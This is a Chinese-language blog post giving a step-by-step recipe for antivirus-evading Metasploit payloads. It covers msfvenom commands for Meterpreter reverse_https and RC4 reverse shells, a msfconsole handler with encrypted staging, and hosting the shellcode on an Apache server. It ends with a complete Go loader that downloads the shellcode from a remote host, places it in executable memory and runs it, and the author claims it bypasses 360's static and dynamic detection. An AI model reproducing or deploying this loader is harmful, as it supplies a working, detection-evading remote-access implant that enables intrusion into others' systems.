golang加载msf shellcode分离免杀

golang加载msf shellcode分离免杀

1 生成shellcode

使用msfvenom生成shellcode

1
msfvenom -p windows/x64/meterpreter/reverse_https lhost=x lport=x -f c
SH

经测试不对shellcode进行编码也可免杀。

2 配置msfconsole

1
2
3
4
5
6
7
8
msfconsole
use exploit/multi/handler
set paylaod windows/x64/meterpreter/reverse_https
set lhost x
set lport x
set EnableStageEncoding true
set stageencoder x64/xor_dynamic
set stageencodingfallback false
SH

使用reverse_https效果较好

其中

1
2
3
set EnableStageEncoding true
set stageencoder x64/xor_dynamic
set stageencodingfallback false
SH

是对流量进行加密,也可使用reverse_tcp_rc4而且不用设置stageencoder选项。

1
msfvenom -p  windows/x64/meterpreter/reverse_tcp_rc4  lhost=x lport=x RC4PASSWORD=pswd  -f c
SH

利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。

将生成的shellcode部署到kali并开启apache2服务:

1
2
touch /var/www/html/1.html
service apache2 start
SH

将生成的shellcode复制到1.html文件。

另外关于外网访问问题,可以使用frp+vps的方式解决在此不再赘述。

附上相关链接: frp内网穿透—将kali代理在公网中进行渗透测试

3 golang远程加载shellcode

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main

import (
"encoding/hex"
"io/ioutil"
"net/http"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
shellcodeBuf, err := GetShellCode()
if err != nil {
panic(err)
}
execute(shellcodeBuf)
}
func GetShellCode() (string, error) {
resp, err := http.Get("http://x/1.html")//即kali主机地址
if err != nil {
return "", err
}
defer resp.Body.Close()
shellcodeBuf, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
return string(shellcodeBuf), nil
}
func execute(shellcodeBuf string) error {
shellcode, err := hex.DecodeString(shellcodeBuf)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
RtlCopyMemory.Call(
addr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
syscall.Syscall(addr, 0, 0, 0, 0)
if err != nil {
return err
}
return nil
}
GOLANG

经测试,可绕过360静态检测和动态监测,成功上线。


golang加载msf shellcode分离免杀
https://symcreg.github.io/2025/06/05/golang加载msf-shellcode分离免杀/
作者
sam
发布于
2025年6月5日
许可协议